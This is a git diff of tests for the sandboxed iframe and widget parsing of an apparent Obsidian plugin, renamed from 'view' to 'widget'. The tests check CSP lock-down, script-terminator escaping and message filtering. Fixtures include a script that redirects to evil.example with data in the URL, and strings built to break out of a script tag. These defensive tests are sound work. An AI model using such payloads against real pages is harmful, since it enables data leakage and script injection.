"../../src/genview/viewFrame"; - -describe("buildThemeCss", () => { - it("copies only variables that resolve and records the colour scheme", () => { - const values: Record<string, string> = { "--text-normal": " #eee ", "--interactive-accent": "#7c3aed" }; - const css = buildThemeCss((name) => values[name] ?? "", true); - expect(css.startsWith(":root { color-scheme: dark; ")).toBe(true); - expect(css).toContain("--text-normal: #eee;"); - expect(css).toContain("--interactive-accent: #7c3aed;"); - expect(css).not.toContain("--background-primary"); - }); -}); - -describe("buildViewSrcdoc (inner document)", () => { - it("locks the document down with a CSP and installs the runtime before the body", () => { - const doc = buildViewSrcdoc("<p id=x>hi</p>", ":root { --a: b; }"); - expect(doc).toContain(`<meta http-equiv="Content-Security-Policy" content="${VIEW_CSP}">`); - expect(doc).toContain('<meta http-equiv="x-dns-prefetch-control" content="off">'); - expect(doc).toContain('<style id="s2b-theme">:root { --a: b; }</style>'); - expect(doc.indexOf(VIEW_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); - }); - - it("blocks every network source, form submission and base override", () => { - expect(VIEW_CSP).toContain("default-src 'none'"); - expect(VIEW_CSP).toContain("form-action 'none'"); - expect(VIEW_CSP).toContain("base-uri 'none'"); - expect(VIEW_CSP).not.toMatch(/https?:/); - expect(VIEW_CSP).not.toContain("connect-src"); - }); - - it("keeps the runtime free of template placeholders and script terminators", () => { - expect(VIEW_RUNTIME_SCRIPT).not.toContain("${"); - expect(VIEW_RUNTIME_SCRIPT).not.toContain("</script"); - }); - - it("forces html/body to content height only in auto-height mode", () => { - expect(buildViewSrcdoc("x", "")).toContain(AUTO_HEIGHT_CSS); - expect(buildViewSrcdoc("x", "", [], false)).not.toContain(AUTO_HEIGHT_CSS); - expect(buildViewFrameSrcdoc("x", "", [], false)).not.toContain("min-height: 0 !important"); - }); - - it("inlines requested libraries between the runtime and the body, escaped for inline script", () => { - const lib = 'window.LIB = 1; const s = "</script><img src=x>"; /* </SCRIPT */'; - const doc = buildViewSrcdoc("<p id=x>hi</p>", "", [lib]); - expect(doc).toContain(`<script>${escapeInlineScript(lib)}</script>`); - expect(doc.indexOf(VIEW_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("window.LIB = 1")); - expect(doc.indexOf("window.LIB = 1")).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); - // Every </script> in the document must close a script we opened: runtime + lib. - expect(doc.split("</script>")).toHaveLength(3); - expect(buildViewSrcdoc("x", "")).not.toContain("<script></script>"); - }); - - it("reports ready from the load event, after the document itself has loaded", () => { - const loadHandler = VIEW_RUNTIME_SCRIPT.indexOf('window.addEventListener("load"'); - const ready = VIEW_RUNTIME_SCRIPT.indexOf('send({ type: "ready" })'); - expect(loadHandler).toBeGreaterThan(-1); - expect(ready).toBeGreaterThan(loadHandler); - }); -}); - -describe("buildViewFrameSrcdoc (outer relay document)", () => { - const body = '<script>location.href = "https://evil.example/?d=1";</script><p>x</p>'; - const outer = buildViewFrameSrcdoc(body, ":root { --a: b; }"); - - it("pads the view from the card edge in the trusted document", () => { - expect(outer).toContain(`padding: ${VIEW_FRAME_PADDING_PX}px`); - // The inner body carries no padding of its own (only the margin/padding reset). - expect(buildViewSrcdoc("x", "")).not.toContain("padding: var("); - }); - - it("forbids the inner frame from navigating anywhere", () => { - expect(outer).toContain(`<meta http-equiv="Content-Security-Policy" content="${OUTER_FRAME_CSP}">`); - expect(OUTER_FRAME_CSP).toContain("frame-src 'none'"); - }); - - it("embeds the inner document as a script literal that cannot close the outer script", () => { - // The outer document has exactly one <script> block, so exactly one terminator — - // every </script> inside the embedded inner document must be escaped. - expect(outer.split("</script>")).toHaveLength(2); - expect(outer).toContain('const INNER = "'); - expect(outer).toContain("\\u003c/script>"); - expect(outer).toContain(OUTER_RELAY_SCRIPT); - }); - - it("round-trips the inner document, libraries included, through the literal", () => { - const withLib = buildViewFrameSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]); - const match = /const INNER = ("(?:[^"\\]|\\.)*");/.exec(withLib); - expect(match).not.toBeNull(); - expect(JSON.parse(match?.[1] ?? '""')).toBe( - buildViewSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]), - ); - expect(withLib.split("</script>")).toHaveLength(2); - }); - - it("keeps the relay free of template placeholders", () => { - expect(OUTER_RELAY_SCRIPT).not.toContain("${"); - expect(OUTER_RELAY_SCRIPT).not.toContain("</script"); - }); -}); - -describe("parseFrameMessage", () => { - it("accepts the frame messages", () => { - expect(parseFrameMessage({ s2bView: true, type: "ready" })).toEqual({ type: "ready" }); - expect(parseFrameMessage({ s2bView: true, type: "requery" })).toEqual({ type: "requery" }); - expect(parseFrameMessage({ s2bView: true, type: "navigated" })).toEqual({ type: "navigated" }); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: 240.5, extent: 180 })).toEqual({ - type: "resize", - height: 240.5, - extent: 180, - }); - // A missing or malformed extent falls back to the height rather than dropping the message. - expect(parseFrameMessage({ s2bView: true, type: "resize", height: 240 })).toEqual({ - type: "resize", - height: 240, - extent: 240, - }); - expect(parseFrameMessage({ s2bView: true, type: "open-note", path: "a/b.md" })).toEqual({ - type: "open-note", - path: "a/b.md", - }); - }); - - it("drops untagged, unknown or malformed messages", () => { - expect(parseFrameMessage({ type: "ready" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "eval", code: "x" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: "big" })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "resize", height: Number.NaN })).toBeNull(); - expect(parseFrameMessage({ s2bView: true, type: "open-note", path: "" })).toBeNull(); - expect(parseFrameMessage("ready")).toBeNull(); - expect(parseFrameMessage(null)).toBeNull(); - }); -}); diff --git a/test/genview/viewSpec.test.ts b/test/genview/viewSpec.test.ts deleted file mode 100644 index 81674533..00000000 --- a/test/genview/viewSpec.test.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { parseViewSpec, viewFileBasename, wrapViewFence } from "../../src/genview/viewSpec"; - -describe("parseViewSpec", () => { - it("treats a source without frontmatter as body only", () => { - const spec = parseViewSpec("\n<div>hi</div>\n"); - expect(spec).toEqual({ queries: {}, libs: [], body: "<div>hi</div>" }); - }); - - it("parses title, height and scalar queries", () => { - const spec = parseViewSpec( - [ - "---", - 'title: "Tags overview"', - "height: 320", - "queries:", - ' tags: TABLE length(rows) AS n FROM "" GROUP BY file.tags', - " recent: LIST SORT file.mtime DESC LIMIT 5", - "---", - "<div id=app></div>", - ].join("\n"), - ); - expect(spec.title).toBe("Tags overview"); - expect(spec.height).toBe(320); - expect(spec.queries).toEqual({ - tags: 'TABLE length(rows) AS n FROM "" GROUP BY file.tags', - recent: "LIST SORT file.mtime DESC LIMIT 5", - }); - expect(spec.body).toBe("<div id=app></div>"); - }); - - it("parses block-scalar queries and stops at the next top-level key", () => { - const spec = parseViewSpec( - [ - "---", - "queries:", - " tasks: |", - " TASK", - " WHERE !completed", - "", - " SORT due ASC", - " other: LIST", - "title: After", - "---", - "body", - ].join("\n"), - ); - expect(spec.queries.tasks).toBe("TASK\nWHERE !completed\n\nSORT due ASC"); - expect(spec.queries.other).toBe("LIST"); - expect(spec.title).toBe("After"); - }); - - it("ignores unknown keys, comments and invalid heights", () => { - const spec = parseViewSpec("---\n# comment\nfoo: bar\nheight: tall\ntitle:\n---\nx"); - expect(spec.title).toBeUndefined(); - expect(spec.height).toBeUndefined(); - expect(spec.body).toBe("x"); - }); - - it("parses libs as a scalar, a flow list, or a block list", () => { - expect(parseViewSpec("---\nlibs: plotly\n---\nx").libs).toEqual(["plotly"]); - expect(parseViewSpec("---\nlibs: plotly, three\n---\nx").libs).toEqual(["plotly", "three"]); - expect(parseViewSpec('---\nlibs: ["plotly", three]\n---\nx').libs).toEqual(["plotly", "three"]); - const block = parseViewSpec("---\nlibs:\n - plotly\n - 'three'\ntitle: T\n---\nx"); - expect(block.libs).toEqual(["plotly", "three"]); - expect(block.title).toBe("T"); - expect(parseViewSpec("---\ntitle: T\n---\nx").libs).toEqual([]); - }); - - it("falls back to body-only when the frontmatter never closes", () => { - const spec = parseViewSpec("---\ntitle: nope\n<div></div>"); - expect(spec.title).toBeUndefined(); - expect(spec.body).toBe("---\ntitle: nope\n<div></div>"); - }); -}); - -describe("wrapViewFence", () => { - it("wraps in a three-backtick fence by default", () => { - expect(wrapViewFence("<b>x</b>\n")).toBe("```s2b-view\n<b>x</b>\n```\n"); - }); - - it("uses a longer fence when the body contains backtick runs", () => { - const fenced = wrapViewFence("<script>const s = `a`; /* ``` */</script>"); - expect(fenced.startsWith("````s2b-view\n")).toBe(true); - expect(fenced.endsWith("\n````\n")).toBe(true); - }); -}); - -describe("viewFileBasename", () => { - it("strips characters that are illegal in vault paths", () => { - expect(viewFileBasename('Tasks: due/overdue? [#1] "now"')).toBe("Tasks due overdue 1 now"); - }); - - it("falls back to View", () => { - expect(viewFileBasename(undefined)).toBe("View"); - expect(viewFileBasename("///")).toBe("View"); - }); -}); diff --git a/test/skills/bundledSkillsSplit.test.ts b/test/skills/bundledSkillsSplit.test.ts index b85849ff..c012bc82 100644 --- a/test/skills/bundledSkillsSplit.test.ts +++ b/test/skills/bundledSkillsSplit.test.ts @@ -9,7 +9,7 @@ import { } from "../../src/skills/defaults"; /** The 4 core skills always seeded at startup (from src/skills/defaults/). */ -const CORE_SKILL_NAMES = ["explore-vault", "manage-notes", "manage-skills", "views", "web"]; +const CORE_SKILL_NAMES = ["explore-vault", "manage-notes", "manage-skills", "web", "widgets"]; /** The 6 integration skills (from src/skills/integrations/), seeded conditionally. */ const CORE_PLUGIN_INTEGRATIONS: Record<string, string> = { canvas: "canvas", bases: "bases" }; diff --git a/test/widget/widgetFences.test.ts b/test/widget/widgetFences.test.ts new file mode 100644 index 00000000..895b156b --- /dev/null +++ b/test/widget/widgetFences.test.ts @@ -0,0 +1,73 @@ +import { describe, expect, it } from "vitest"; +import { findWidgetFences, stripWidgetFences } from "../../src/widget/widgetFences"; + +const NOTE = [ + "# Dashboard", + "", + "```s2b-widget", + "---", + "title: First", + "---", + "<p>one</p>", + "```", + "", + "Some prose with ```inline``` backticks.", + "", + "````markdown", + "```s2b-widget", + "<p>this is an example inside a longer fence, not a widget</p>", + "```", + "````", + "", + "~~~s2b-widget", + "<p>two</p>", + "~~~", + "", + "```js", + "console.log('```s2b-widget is just text here');", + "```", + "", + " ```s2b-widget", + " <p>three, indented</p>", + " ```", +].join("\n"); + +describe("findWidgetFences", () => { + it("finds top-level widget fences of either marker and skips nested and foreign ones", () => { + const fences = findWidgetFences(NOTE); + expect(fences.map((f) => f.index)).toEqual([0, 1, 2]); + expect(fences[0].spec.title).toBe("First"); + expect(fences[0].source).toBe("---\ntitle: First\n---\n<p>one</p>"); + expect(fences[0].lineStart).toBe(2); + expect(fences[0].lineEnd).toBe(7); + expect(fences[1].source).toBe("<p>two</p>"); + expect(fences[2].source).toBe(" <p>three, indented</p>"); + }); + + it("ignores an unclosed fence", () => { + expect(findWidgetFences("```s2b-widget\n<p>never closed</p>")).toEqual([]); + }); + + it("returns nothing for notes without widgets", () => { + expect(findWidgetFences("# Just a note\n\n```js\nlet x = 1;\n```")).toEqual([]); + }); +}); + +describe("stripWidgetFences", () => { + it("replaces each fence with a titled marker and leaves the rest untouched", () => { + const stripped = stripWidgetFences(NOTE); + expect(stripped).not.toContain("<p>one</p>"); + expect(stripped).not.toContain("<p>two</p>"); + expect(stripped).toContain("(widget: First)"); + expect(stripped).toContain("(widget)"); + // Content that only looked like a fence (nested, or inside a js block) stays. + expect(stripped).toContain("this is an example inside a longer fence"); + expect(stripped).toContain("console.log('```s2b-widget is just text here');"); + expect(stripped.startsWith("# Dashboard\n\n(widget: First)\n\nSome prose")).toBe(true); + }); + + it("returns the input unchanged when there is nothing to strip", () => { + const note = "# Just a note\n\n```js\nlet x = 1;\n```"; + expect(stripWidgetFences(note)).toBe(note); + }); +}); diff --git a/test/widget/widgetFrame.test.ts b/test/widget/widgetFrame.test.ts new file mode 100644 index 00000000..e3c9a644 --- /dev/null +++ b/test/widget/widgetFrame.test.ts @@ -0,0 +1,201 @@ +import { describe, expect, it } from "vitest"; +import { + AUTO_HEIGHT_CSS, + buildThemeCss, + buildWidgetFrameSrcdoc, + buildWidgetSrcdoc, + escapeInlineScript, + OUTER_FRAME_CSP, + OUTER_RELAY_SCRIPT, + parseFrameMessage, + WIDGET_CSP, + WIDGET_FRAME_PADDING_PX, + WIDGET_RUNTIME_SCRIPT, +} from "../../src/widget/widgetFrame"; + +describe("buildThemeCss", () => { + it("copies only variables that resolve and records the colour scheme", () => { + const values: Record<string, string> = { "--text-normal": " #eee ", "--interactive-accent": "#7c3aed" }; + const css = buildThemeCss((name) => values[name] ?? "", true); + expect(css.startsWith(":root { color-scheme: dark; ")).toBe(true); + expect(css).toContain("--text-normal: #eee;"); + expect(css).toContain("--interactive-accent: #7c3aed;"); + expect(css).not.toContain("--background-primary"); + }); +}); + +describe("buildWidgetSrcdoc (inner document)", () => { + it("locks the document down with a CSP and installs the runtime before the body", () => { + const doc = buildWidgetSrcdoc("<p id=x>hi</p>", ":root { --a: b; }"); + expect(doc).toContain(`<meta http-equiv="Content-Security-Policy" content="${WIDGET_CSP}">`); + expect(doc).toContain('<meta http-equiv="x-dns-prefetch-control" content="off">'); + expect(doc).toContain('<style id="s2b-theme">:root { --a: b; }</style>'); + expect(doc.indexOf(WIDGET_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); + }); + + it("blocks every network source, form submission and base override", () => { + expect(WIDGET_CSP).toContain("default-src 'none'"); + expect(WIDGET_CSP).toContain("form-action 'none'"); + expect(WIDGET_CSP).toContain("base-uri 'none'"); + expect(WIDGET_CSP).not.toMatch(/https?:/); + expect(WIDGET_CSP).not.toContain("connect-src"); + }); + + it("is valid JavaScript exactly as the frame receives it", () => { + // The runtime is a template literal, so an escape the formatter rewrites can turn + // into something else entirely (`\\/` → `//` once ended a regex and killed every + // handler after it). Parsing catches that; nothing is executed. + expect(() => new Function(WIDGET_RUNTIME_SCRIPT)).not.toThrow(); + expect(() => new Function(`const INNER = "";${OUTER_RELAY_SCRIPT}`)).not.toThrow(); + }); + + it("keeps the runtime free of template placeholders and script terminators", () => { + expect(WIDGET_RUNTIME_SCRIPT).not.toContain("${"); + expect(WIDGET_RUNTIME_SCRIPT).not.toContain("</script"); + }); + + it("forces html/body to content height only in auto-height mode", () => { + expect(buildWidgetSrcdoc("x", "")).toContain(AUTO_HEIGHT_CSS); + expect(buildWidgetSrcdoc("x", "", [], false)).not.toContain(AUTO_HEIGHT_CSS); + expect(buildWidgetFrameSrcdoc("x", "", [], false)).not.toContain("min-height: 0 !important"); + }); + + it("inlines requested libraries between the runtime and the body, escaped for inline script", () => { + const lib = 'window.LIB = 1; const s = "</script><img src=x>"; /* </SCRIPT */'; + const doc = buildWidgetSrcdoc("<p id=x>hi</p>", "", [lib]); + expect(doc).toContain(`<script>${escapeInlineScript(lib)}</script>`); + expect(doc.indexOf(WIDGET_RUNTIME_SCRIPT)).toBeLessThan(doc.indexOf("window.LIB = 1")); + expect(doc.indexOf("window.LIB = 1")).toBeLessThan(doc.indexOf("<p id=x>hi</p>")); + // Every </script> in the document must close a script we opened: runtime + lib. + expect(doc.split("</script>")).toHaveLength(3); + expect(buildWidgetSrcdoc("x", "")).not.toContain("<script></script>"); + }); + + it("reports ready from the load event, after the document itself has loaded", () => { + const loadHandler = WIDGET_RUNTIME_SCRIPT.indexOf('window.addEventListener("load"'); + const ready = WIDGET_RUNTIME_SCRIPT.indexOf('send({ type: "ready" })'); + expect(loadHandler).toBeGreaterThan(-1); + expect(ready).toBeGreaterThan(loadHandler); + }); +}); + +describe("buildWidgetFrameSrcdoc (outer relay document)", () => { + const body = '<script>location.href = "https://evil.example/?d=1";</script><p>x</p>'; + const outer = buildWidgetFrameSrcdoc(body, ":root { --a: b; }"); + + it("pads the widget from the card edge in the trusted document", () => { + expect(outer).toContain(`padding: ${WIDGET_FRAME_PADDING_PX}px`); + // The inner body carries no padding of its own (only the margin/padding reset). + expect(buildWidgetSrcdoc("x", "")).not.toContain("padding: var("); + }); + + it("forbids the inner frame from navigating anywhere", () => { + expect(outer).toContain(`<meta http-equiv="Content-Security-Policy" content="${OUTER_FRAME_CSP}">`); + expect(OUTER_FRAME_CSP).toContain("frame-src 'none'"); + }); + + it("embeds the inner document as a script literal that cannot close the outer script", () => { + // The outer document has exactly one <script> block, so exactly one terminator — + // every </script> inside the embedded inner document must be escaped. + expect(outer.split("</script>")).toHaveLength(2); + expect(outer).toContain('const INNER = "'); + expect(outer).toContain("\\u003c/script>"); + expect(outer).toContain(OUTER_RELAY_SCRIPT); + }); + + it("round-trips the inner document, libraries included, through the literal", () => { + const withLib = buildWidgetFrameSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]); + const match = /const INNER = ("(?:[^"\\]|\\.)*");/.exec(withLib); + expect(match).not.toBeNull(); + expect(JSON.parse(match?.[1] ?? '""')).toBe( + buildWidgetSrcdoc(body, ":root { --a: b; }", ["window.LIB = '</script>';"]), + ); + expect(withLib.split("</script>")).toHaveLength(2); + }); + + it("keeps the relay free of template placeholders", () => { + expect(OUTER_RELAY_SCRIPT).not.toContain("${"); + expect(OUTER_RELAY_SCRIPT).not.toContain("</script"); + }); +}); + +describe("parseFrameMessage", () => { + it("accepts the frame messages", () => { + expect(parseFrameMessage({ s2bWidget: true, type: "ready" })).toEqual({ type: "ready" }); + expect(parseFrameMessage({ s2bWidget: true, type: "requery" })).toEqual({ type: "requery" }); + expect(parseFrameMessage({ s2bWidget: true, type: "navigated" })).toEqual({ type: "navigated" }); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: 240.5, extent: 180 })).toEqual({ + type: "resize", + height: 240.5, + extent: 180, + }); + // A missing or malformed extent falls back to the height rather than dropping the message. + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: 240 })).toEqual({ + type: "resize", + height: 240, + extent: 240, + }); + expect(parseFrameMessage({ s2bWidget: true, type: "open-note", path: "a/b.md" })).toEqual({ + type: "open-note", + path: "a/b.md", + modifiers: { ctrlKey: false, metaKey: false, altKey: false, shiftKey: false }, + }); + expect( + parseFrameMessage({ + s2bWidget: true, + type: "open-note", + path: "a/b.md", + modifiers: { metaKey: true, altKey: "yes" }, + }), + ).toEqual({ + type: "open-note", + path: "a/b.md", + modifiers: { ctrlKey: false, metaKey: true, altKey: false, shiftKey: false }, + }); + expect( + parseFrameMessage({ + s2bWidget: true, + type: "hover-note", + path: "a/b.md", + rect: { x: 1, y: 2.5, width: 30, height: 12 }, + metaKey: true, + }), + ).toEqual({ + type: "hover-note", + path: "a/b.md", + rect: { x: 1, y: 2.5, width: 30, height: 12 }, + ctrlKey: false, + metaKey: true, + }); + }); + + it("drops hover messages with a missing path or a malformed box", () => { + expect( + parseFrameMessage({ + s2bWidget: true, + type: "hover-note", + path: "", + rect: { x: 0, y: 0, width: 1, height: 1 }, + }), + ).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "hover-note", path: "a.md" })).toBeNull(); + expect( + parseFrameMessage({ + s2bWidget: true, + type: "hover-note", + path: "a.md", + rect: { x: "0", y: 0, width: 1, height: 1 }, + }), + ).toBeNull(); + }); + + it("drops untagged, unknown or malformed messages", () => { + expect(parseFrameMessage({ type: "ready" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "eval", code: "x" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: "big" })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "resize", height: Number.NaN })).toBeNull(); + expect(parseFrameMessage({ s2bWidget: true, type: "open-note", path: "" })).toBeNull(); + expect(parseFrameMessage("ready")).toBeNull(); + expect(parseFrameMessage(null)).toBeNull(); + }); +}); diff --git a/test/genview/viewLibs.test.ts b/test/widget/widgetLibs.test.ts similarity index 68% rename from test/genview/viewLibs.test.ts rename to test/widget/widgetLibs.test.ts index 4e3038b4..b5206019 100644 --- a/test/genview/viewLibs.test.ts +++ b/test/widget/widgetLibs.test.ts @@ -1,12 +1,12 @@ import { describe, expect, it } from "vitest"; -import { patchVendoredLib, VENDORED_LIB_FORBIDDEN } from "../../src/genview/vendoredLibPatches"; -import { resolveViewLibs, VIEW_LIBS } from "../../src/genview/viewLibs"; +import { patchVendoredLib, VENDORED_LIB_FORBIDDEN } from "../../src/widget/vendoredLibPatches"; +import { resolveWidgetLibs, WIDGET_LIBS } from "../../src/widget/widgetLibs"; const PLOTLY_PATH = "node_modules/plotly.js-gl3d-dist-min/plotly-gl3d.min.js"; -describe("view libraries", () => { +describe("widget libraries", () => { it("ships Plotly as a self-contained build that defines its global", () => { - const plotly = VIEW_LIBS.plotly; + const plotly = WIDGET_LIBS.plotly; expect(plotly.global).toBe("Plotly"); expect(plotly.source.length).toBeGreaterThan(500_000); expect(plotly.source).toContain("Plotly"); @@ -15,10 +15,10 @@ describe("view libraries", () => { it("patches the Plotly build so no dynamic-code construct ships in main.js", () => { // The unit-test import is the unpatched file (vitest does not run vite.config's // plugins); the build applies exactly this function before inlining it. - const patched = patchVendoredLib(PLOTLY_PATH, VIEW_LIBS.plotly.source); + const patched = patchVendoredLib(PLOTLY_PATH, WIDGET_LIBS.plotly.source); for (const [, pattern] of VENDORED_LIB_FORBIDDEN) expect(patched).not.toMatch(pattern); expect(patched).toContain("globalThis"); - expect(patched.length).toBeLessThan(VIEW_LIBS.plotly.source.length); + expect(patched.length).toBeLessThan(WIDGET_LIBS.plotly.source.length); }); it("fails loudly when a library changes under a patch", () => { @@ -26,13 +26,13 @@ describe("view libraries", () => { expect(() => patchVendoredLib(PLOTLY_PATH, 'new Function("return this")() eval(x)')).toThrow( /still contains eval/, ); - expect(() => patchVendoredLib("node_modules/other/lib.js", "x")).toThrow(/not a vendored view library/); + expect(() => patchVendoredLib("node_modules/other/lib.js", "x")).toThrow(/not a vendored widget library/); }); it("resolves known ids in order, deduplicated, and reports unknown ones", () => { - const { sources, unknown } = resolveViewLibs(["plotly", "nope", "plotly", "other"]); - expect(sources).toEqual([VIEW_LIBS.plotly.source]); + const { sources, unknown } = resolveWidgetLibs(["plotly", "nope", "plotly", "other"]); + expect(sources).toEqual([WIDGET_LIBS.plotly.source]); expect(unknown).toEqual(["nope", "other"]); - expect(resolveViewLibs([])).toEqual({ sources: [], unknown: [] }); + expect(resolveWidgetLibs([])).toEqual({ sources: [], unknown: [] }); }); }); diff --git a/test/genview/viewQueries.test.ts b/test/widget/widgetQueries.test.ts similarity index 86% rename from test/genview/viewQueries.test.ts rename to test/widget/widgetQueries.test.ts index 599fdab0..4e88ffa8 100644 --- a/test/genview/viewQueries.test.ts +++ b/test/widget/widgetQueries.test.ts @@ -1,6 +1,6 @@ import type { App } from "obsidian"; import { describe, expect, it, vi } from "vitest"; -import { DATAVIEW_MISSING_ERROR, runViewQueries, serializeDataviewValue } from "../../src/genview/viewQueries"; +import { DATAVIEW_MISSING_ERROR, runWidgetQueries, serializeDataviewValue } from "../../src/widget/widgetQueries"; function appWithDataview(api: unknown): App { return { plugins: { plugins: api ? { dataview: { api } } : {} } } as unknown as App; @@ -54,13 +54,13 @@ describe("serializeDataviewValue", () => { }); }); -describe("runViewQueries", () => { - it("returns nothing for a view without queries and never touches Dataview", async () => { - expect(await runViewQueries(appWithDataview(null), {}, "x.md")).toEqual({}); +describe("runWidgetQueries", () => { + it("returns nothing for a widget without queries and never touches Dataview", async () => { + expect(await runWidgetQueries(appWithDataview(null), {}, "x.md")).toEqual({}); }); it("reports a missing Dataview plugin per query", async () => { - const results = await runViewQueries(appWithDataview(null), { a: "LIST", b: "TABLE" }, "x.md"); + const results = await runWidgetQueries(appWithDataview(null), { a: "LIST", b: "TABLE" }, "x.md"); expect(results).toEqual({ a: { error: DATAVIEW_MISSING_ERROR }, b: { error: DATAVIEW_MISSING_ERROR } }); }); @@ -82,7 +82,7 @@ describe("runViewQueries", () => { if (source.startsWith("BOOM")) throw new Error("kaboom"); return { successful: false, error: " bad query " }; }); - const results = await runViewQueries( + const results = await runWidgetQueries( appWithDataview({ query }), { t: "TABLE n FROM #x", l: "LIST", e: "BOOM", f: "nope" }, "Notes/origin.md", diff --git a/test/widget/widgetSpec.test.ts b/test/widget/widgetSpec.test.ts new file mode 100644 index 00000000..29c05c43 --- /dev/null +++ b/test/widget/widgetSpec.test.ts @@ -0,0 +1,114 @@ +import { describe, expect, it } from "vitest"; +import { parseWidgetSpec, widgetFileBasename, widgetIndexText, wrapWidgetFence } from "../../src/widget/widgetSpec"; + +describe("parseWidgetSpec", () => { + it("treats a source without frontmatter as body only", () => { + const spec = parseWidgetSpec("\n<div>hi</div>\n"); + expect(spec).toEqual({ queries: {}, libs: [], body: "<div>hi</div>" }); + }); + + it("parses title, height and scalar queries", () => { + const spec = parseWidgetSpec( + [ + "---", + 'title: "Tags overview"', + "height: 320", + "queries:", + ' tags: TABLE length(rows) AS n FROM "" GROUP BY file.tags', + " recent: LIST SORT file.mtime DESC LIMIT 5", + "---", + "<div id=app></div>", + ].join("\n"), + ); + expect(spec.title).toBe("Tags overview"); + expect(spec.height).toBe(320); + expect(spec.queries).toEqual({ + tags: 'TABLE length(rows) AS n FROM "" GROUP BY file.tags', + recent: "LIST SORT file.mtime DESC LIMIT 5", + }); + expect(spec.body).toBe("<div id=app></div>"); + }); + + it("parses block-scalar queries and stops at the next top-level key", () => { + const spec = parseWidgetSpec( + [ + "---", + "queries:", + " tasks: |", + " TASK", + " WHERE !completed", + "", + " SORT due ASC", + " other: LIST", + "title: After", + "---", + "body", + ].join("\n"), + ); + expect(spec.queries.tasks).toBe("TASK\nWHERE !completed\n\nSORT due ASC"); + expect(spec.queries.other).toBe("LIST"); + expect(spec.title).toBe("After"); + }); + + it("ignores unknown keys, comments and invalid heights", () => { + const spec = parseWidgetSpec("---\n# comment\nfoo: bar\nheight: tall\ntitle:\n---\nx"); + expect(spec.title).toBeUndefined(); + expect(spec.height).toBeUndefined(); + expect(spec.body).toBe("x"); + }); + + it("parses libs as a scalar, a flow list, or a block list", () => { + expect(parseWidgetSpec("---\nlibs: plotly\n---\nx").libs).toEqual(["plotly"]); + expect(parseWidgetSpec("---\nlibs: plotly, three\n---\nx").libs).toEqual(["plotly", "three"]); + expect(parseWidgetSpec('---\nlibs: ["plotly", three]\n---\nx').libs).toEqual(["plotly", "three"]); + const block = parseWidgetSpec("---\nlibs:\n - plotly\n - 'three'\ntitle: T\n---\nx"); + expect(block.libs).toEqual(["plotly", "three"]); + expect(block.title).toBe("T"); + expect(parseWidgetSpec("---\ntitle: T\n---\nx").libs).toEqual([]); + }); + + it("falls back to body-only when the frontmatter never closes", () => { + const spec = parseWidgetSpec("---\ntitle: nope\n<div></div>"); + expect(spec.title).toBeUndefined(); + expect(spec.body).toBe("---\ntitle: nope\n<div></div>"); + }); +}); + +describe("widgetIndexText", () => { + it("indexes the title and description only, never the body", () => { + const text = widgetIndexText( + "---\ntitle: Vault dashboard\ndescription: Edits per day and open tasks\n---\n<div id=app>secret markup</div><script>const x = 1;</script>", + ); + expect(text).toBe("Vault dashboard\nEdits per day and open tasks"); + expect(text).not.toContain("markup"); + }); + + it("is empty for a widget without title or description", () => { + expect(widgetIndexText("<p>body only</p>")).toBe(""); + expect(parseWidgetSpec("---\ndescription: Only this\n---\nx").description).toBe("Only this"); + expect(parseWidgetSpec("---\nicon: chart-column\n---\nx").icon).toBe("chart-column"); + }); +}); + +describe("wrapWidgetFence", () => { + it("wraps in a three-backtick fence by default", () => { + expect(wrapWidgetFence("<b>x</b>\n")).toBe("```s2b-widget\n<b>x</b>\n```\n"); + }); + + it("uses a longer fence when the body contains backtick runs", () => { + const fenced = wrapWidgetFence("<script>const s = `a`; /* ``` */</script>"); + expect(fenced.startsWith("````s2b-widget\n")).toBe(true); + expect(fenced.endsWith("\n````\n")).toBe(true); + }); +}); + +describe("widgetFileBasename", () => { + it("strips characters that are illegal in vault paths", () => { + expect(widgetFileBasename('Tasks: due/overdue? [#1] "now"')).toBe("Tasks due overdue 1 now"); + }); + + it("falls back to Widget", () => { + expect(widgetFileBasename(undefined)).toBe("Widget"); + expect(widgetFileBasename("///")).toBe("Widget"); + }); +}); diff --git a/vite.config.ts b/vite.config.ts index 58bcce92..a165d8f6 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -1,6 +1,6 @@ // vite.config.ts import { svelte, vitePreprocess } from "@sveltejs/vite-plugin-svelte"; -import { patchVendoredLib, vendoredLibPatchesFor } from "./src/genview/vendoredLibPatches"; +import { patchVendoredLib, vendoredLibPatchesFor } from "./src/widget/vendoredLibPatches"; import { defineConfig, type Plugin } from "vite"; import { copyFileSync, readFileSync } from "node:fs"; import { resolve } from "node:path"; @@ -213,12 +213,12 @@ function shimModules(isProduction: boolean): Plugin { } /** - * Serve the browser bundles a view can request (`src/genview/viewLibs.ts`) as raw text - * with their build-time patches applied (`src/genview/vendoredLibPatches.ts`), so the + * Serve the browser bundles a widget can request (`src/widget/widgetLibs.ts`) as raw text + * with their build-time patches applied (`src/widget/vendoredLibPatches.ts`), so the * string literal that lands in main.js is the patched one. A `load` hook, so the file * never passes through Vite's own `?raw` handling unpatched. */ -function vendoredViewLibs(): Plugin { +function vendoredWidgetLibs(): Plugin { return { name: "vendored-view-libs", enforce: "pre", @@ -248,7 +248,7 @@ export default defineConfig(({ mode }) => { return { plugins: [ shimModules(!isDevelopment), - vendoredViewLibs(), + vendoredWidgetLibs(), svelte({ preprocess: vitePreprocess(), onwarn: (warning, handler) => {